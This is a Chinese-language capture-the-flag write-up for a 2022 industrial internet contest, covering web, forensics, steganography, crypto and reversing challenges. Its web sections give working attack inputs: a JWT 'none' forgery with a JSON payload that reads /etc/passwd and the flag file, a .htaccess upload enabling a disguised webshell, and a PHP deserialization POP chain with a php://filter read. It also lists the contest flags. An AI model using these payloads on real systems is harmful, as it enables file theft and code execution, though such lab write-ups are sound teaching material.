CTF记录“2022新疆工业互联网初赛” XJUSEC-NEW 初赛 writeup
1.1 RCEME
flag: flag{b96fba5978ff302af15589d323c92e73}
解题思路说明:
原题
解题过程:
照着这个文章直接抄payload
https://ljdd520.github.io/2021/01/28/TetCTF%E9%83%A8%E5%88%86web%E9%A2%98%E8%A7%A3/
先用ls看看文件,然后用上边那个payload拿flag
f12看见flag
1.2 simple_node
flag:flag{6f7a5ce3c20e154b566d5e548658d761}
解题思路说明:
jwt伪造,然后利用js的弱类型的绕过,最后利用nodejs的一个特性让其能进行url解码
解题过程:
先代码审计:
app.post('/register', function (req, res) {
const username = req.body.name;
if ( username == 'admin'){
res.send("admin not allowed");
return
}
const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
res.send({token: token});
});
app.post('/login', function (req, res) {
const token = req.body.auth
try {
jwt.verify(token, secret, {algorithm: 'HS256'},function (_,user){
console.log(user)
req.session.user = {"username":user.username}
});
}catch (e) {
res.send("login error")
return
}
res.send(req.session.user.username + " login successfully")
});
app.post('/readfile', function (req, res) {
if (req.session.user.username !== "admin"){
res.send("only admin can get flag")
return
}
if (typeof req.body["secret"] !== "number"){
//仅允许16进字符串
let regex_pattern = /^[a-fA-F\d.]+$/
if (!regex_pattern.test(req.body["secret"])){
res.send("only valid string under 16 radix allowed")
return
}
}
if (req.body.file && parseInt(req.body["secret"],16) === 158 && parseFloat(req.body["secret"]) < 9){
let file_param = JSON.stringify(req.body.file)
if (file_param.includes("flag") || file_param.includes("fd")) {
res.send("flag not allowed")
return
}else {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.body.file || "app.js").toString())
return
}
}
res.send("try to read /flag")
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
# 先通过注册页面产生jwt,然后login的时候判断jwt的内容,并将username回显出来,然后在读flag的页面判断是不是admin,如果是就进入下面的if判断里。
但是node 的jsonwebtoken库存在一个缺陷,也是jwt的常见攻击手法,当用户传入jwt secret为空时 jsonwebtoken会采用algorithm none进行解密。
所有可以根据下面的脚本构造内容,来以admin用户的身份登录
然后就是对if的绕过,首先如果传入的是secret是数字类型的,就需要经过一个只允许a-f和数字、小数点的正则判断,然后对其内容经过parseInt
和parseFloat
的一个判断。这个可以通过科学计数法和parseInt的缺陷来实现
这里需要传入的内容是
{"secret":9e-99,"file":"/etc/passwd"}
,这可以读出/etc/passwd的文件内容。(这块好像是大于7就可以
但是不能直接读出flag的内容,这里是利用nodejs的一个特点
https://brycec.me/posts/corctf_2022_challenges#simplewaf
我们只需要将这块改一改变成json的格式就行了
最终payload
{"secret":9e-10,"file":{"href":"a","origin": "a","protocol":"file:","hostname":"","pathname":"/fl%61g" }}
1.3 checkin
flag:flag{50189081b04ef94ab5da082888a2aeba}
解题思路说明:
通过分析http响应头的信息,解码给出的base64线索,获得flag。
解题过程:
首先查看相应数据,发现有线索:
解码后得到S3cRet.php,访问,发现要求用HEICORE浏览器登录。抓包修改ua头即可获得flag.
base64解码后得到flag{50189081b04ef94ab5da082888a2aeba}
1.4 Ezupload
flag:flag{87e0080c4c82f490f78baba325ba037a}
解题思路说明:
上传.htaccess文件改变解析规则,然后上传webshell获取flag。
解题过程:
先上传一个.htaccess文件,然后上传shell读取flag:
.htaccess
SetHandler application/x-httpd-php
shell.jpg
1.5 ezpop
flag:flag{7cf03b839cd4898e7fdb60107b72bd29}
解题思路说明:
利用toString方法调用File对象中的include,并用php伪协议绕过过滤读取flag
解题过程
构造pop:
file=$file;
}
}
class User
{
private $lastName;
private $firstName;
private $email;
public function __construct($lastName, $firstName, $email)
{
$this->lastName = $lastName;
$this->firstName = $firstName;
$this->email = $email;
}
}
$file2 = new File('php://filter/convert.base64-encode/resource=flag.php');
$user = new User($file2,'aa','nn');
$file1 = new File($user);
echo urlencode(serialize($file1));
?>
然后得到payload,获取flag.
1.6 ez_steg
flag:CTF{a73d1bceefe07c7cd8c5abec26100c6d}
解题思路说明:
第一层伪加密,第二层文本颠倒,winhex导出图片crc爆破改宽高,然后lsb爆破,第三层zip明文攻击
解题过程:
伪加密用ZipCenOp.jar跑即可,命令: java -jar ZipCenOp.jar -r xxx.zip
进入第二层,获得文本,观察最后几行是倒过来的png文件头,用工具颠倒文本,复制到winhex保存得到png。
爆破crc和lsb:
找到两个密码,打开压缩包
可以发现校验码相同,可知识明文攻击,用winrar重压key图片,跑ARCH:
1.7 EZSHELL
flag:flag{e51ffe43-d7c3-48fa-a44b-14ddb3499aa2}
解题思路说明:
从流量包里找到对应的恶意代码,拿到压缩包,然后根据提示形成密码,拿到flag
解题过程:
先把流量包里的东西都分出来,然后扔了seay里试试运气,看能不能直接找到shell
没啥发现之后全局搜索一些特殊函数,比如system之类的。然后能够找到一些类似蚁剑连接的流量,然后里边有一段16进制的内容,先十六进制转换然后base64解码看一下。
还有
能知道flag应该是在f14g这个文件里,然后全局搜索
看到了这个之后本地环境里执行一下,生成一个有密码的压缩包
过滤一下,然后对着红框那列收集开放端口,然后挨个试一试
最后去掉几个有点问题的端口之后,组合成密码的端口是80,105,888,3306,4320,8888
1.8 ez_usb
flag: flag{c6bd1c7bcfef89ffbf59d86ccaf97d3c}
解题思路说明:
参考今年国赛初赛的usb题目,用wireshark导出usb流量然后用脚本跑即可发现隐藏内容,分析文件头一个是rar一个是密码,解开即可。
解题过程:
用wireshark筛选 usb.src == "2.8.1" 以及usb.src == "2,10.1"
找到文件,导出特定分组得到两个文件:
上次用的祖传脚本:
#!/usr/bin/env python
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"","33":";","34":"'","35":"","36":",","37":".","38":"/","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"","34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
def main():
# check argv
if len(sys.argv) != 2:
print("Usage : ")
print(" python UsbKeyboardHacker.py data.pcap")
print("Tips : ")
print(" To use this python script , you must install the tshark first.")
print(" You can use `sudo apt-get install tshark` to install it")
print("Author : ")
print(" WangYihang ")
print(" If you have any questions , please contact me by email.")
print(" Thank you for using.")
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata 'usb.data_len == 8' > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
if press == '':
continue
if ':' in press:
Bytes = press.split(":")
else:
Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
if Bytes[0] == "00":
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += normalKeys[Bytes[2]]
elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += shiftKeys[Bytes[2]]
else:
print("[-] Unknow Key : %s" % (Bytes[0]))
print("[+] Found : %s" % (result))
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
分别跑可以发现第一个文件是rar开头,第二个是密码
删除
和
以及
前面的字母,用winhex新建出rar文件
解密得flag,包上flag提交。
1.9 我是ASCII;
flag:flag{1bc980381a64e26ac1514081a99599b6}
解题思路说明:
换位,然后解码然后再换位,再解码
解题过程:
一眼有点像Unicode,但是Unicode编码是开头,而题目里的每组里都有&和#,所以换个位然后再解码
&MZWGCZ33GF[0-1]LBGY2GKMRW#RGGOJYGAZTQM\dMFRTCNJRGQY;OJZMI3H2===\dDQMLBHE4TK
得到的内容感觉有点像base32,但是有一些特殊的内容,所以把这些特殊的东西都分出来
&MZWGCZ33GF[0-1]LBGY2GKMRW#RGGOJYGAZTQM\dMFRTCNJRGQY;OJZMI3H2===\dDQMLBHE4TK
进行一个分组
去掉这些特殊字符,然后再重组一下,就能拿到flag
1.10 Wilson_RSA
flag:flag{b21fc14a2361144f26d43c4c4fc5dfbc}
解题思路说明:
根据题目提示是威尔逊定理,先将p和q求出来,然后应用在for循环的补全上。
pq可以根据给出的2^e%n推导出来k倍的n然后分解出来。
解题过程:
根据2^e%n和e = 1049 可以得到公式:
n*k = 2^e - 2^e(modn)
用yafu分解得到p和q:
得到p和q后根据威尔逊定理可以得出:
( p -1)! ≡ -1 (mod p)
,但是题目中只有 m×(p-q) !(mod n)
的值,
所以根据得到的p和q就可以得到m×(p-1)! (mod n)
的值,
进一步就可以得到m×(p-1)! (mod p)
,
由此可以得到m
下面是代码:
import gmpy2
from Crypto.Util import number
e = 1049
c = 3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270
n1 = 4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377
kn = pow(2,e) - n1
print(kn)
# yafu分解kn得到p和q
p = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231
q = 34211
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
for i in range(p-q,p):
m = -1*(m*i%n)%p
print(number.long_to_bytes(m))
把flag中的字符串md5一下即可提交。
1.11 travel_overseas
flag:flag{753a5924a9ab2163d390410d0a1f6701}
解题思路说明:
先python反编译,然后aes解密
解题过程:
直接扔了exeinfo里发现是用pyinstaller打包的
所以用pyinstxtractor.py反编译一下,拿到pyc文件
再用uncompyle6把pyc的文件反编译成py的
然后可以直接查看代码
题目先异或,然后aes加密
所以百度找个脚本稍微一改解密一下
有密钥和密文换上去就行